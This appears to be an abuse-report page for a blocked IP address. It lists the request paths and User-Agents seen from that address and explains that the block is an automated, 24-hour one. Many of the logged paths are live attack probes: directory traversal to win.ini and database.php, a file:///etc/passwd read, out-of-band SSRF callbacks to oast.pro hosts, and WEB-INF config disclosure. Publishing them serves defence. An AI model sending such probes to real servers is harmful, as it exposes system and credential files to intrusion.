abuseip.org

Sample paths probed

• /..\..\..\..\..\..\..\..\..\..\windows\win.ini
• /archive/download?file=http://dbcu9kbj8dfc73b6jn303o97qt4tgb7o7.oast.pro/
• /registry/machine?app=DNhMG&appType=0&version=0&hostname=55j4g&ip=dbcu9kbj8dfc73b6jn305cie78dzk7c87.oast.pro&port=0
• /archive/download?file=http://dbcu9kbj8dfc73b6jn30jo5xkg7rd6c3t.oast.pro/
• /resin-doc/;/WEB-INF/resin-web.xml
• /registry/machine?app=OOzBT&appType=0&version=0&hostname=RyODc&ip=dbcu9kbj8dfc73b6jn305qwmxojoz98z8.oast.pro&port=0
• /registry/machine?app=Kx1at&appType=0&version=0&hostname=oboxY&ip=dbcu9kbj8dfc73b6jn30bpimiy9o99iut.oast.pro&port=0
• /user/login
• /archive/download?file=http://dbcu9kbj8dfc73b6jn30odz75yezyhhto.oast.pro/
• /index.php?s=example
• /registry/machine?app=PDimS&appType=0&version=0&hostname=QuhHJ&ip=dbcu9kbj8dfc73b6jn30feudgnorug9ce.oast.pro&port=0
• /
• /config/list
• /index.php/Pan/ShareUrl/downloadSharedFile?true_path=../../../../../../windows/win.ini&file_name=win.ini
• /index/download/index?name=index.php&url=../../application/database.php
• /misc.php?action=showpopups&type=friend
• /registry/machine?app=jI4Ql&appType=0&version=0&hostname=brxsT&ip=dbcu9kbj8dfc73b6jn30d5q1wo94uyuyf.oast.pro&port=0
• /registry/machine?app=ZzdAC&appType=0&version=0&hostname=UhFW8&ip=dbcu9kbj8dfc73b6jn30wu7bfxcxce3pm.oast.pro&port=0
• /archive/download?file=file:///etc/passwd
• /;/WEB-INF/web.xml

Sample User-Agents

• Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.6 Safari/605.1.15
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.120 OBS/32.2.2 Safari/537.36
• Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/155.0.0.0 Safari/537.36 Edg/155.0.0.0
• Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko)
• Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36
• Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36
• Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/27.0.1 Safari/605.1.15
• Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:157.0) Gecko/20100101 Firefox/157.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36
• Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/155.0.0.0 Safari/537.36
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/154.0.0.0 Safari/537.36 Edg/154.0.0.0
• Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/151.0.7922.34 Safari/537.36

What does this mean?

This address sent traffic that the redirs.com edge classified as automated abuse — typically WordPress/PHP exploit scanning, credential file probing (.env, .git, .aws/), or mass-domain enumeration. The block is automatic and time-limited (24 hours from last detection).

If you believe this is a false positive, contact [email protected] with the IP and the timestamps above.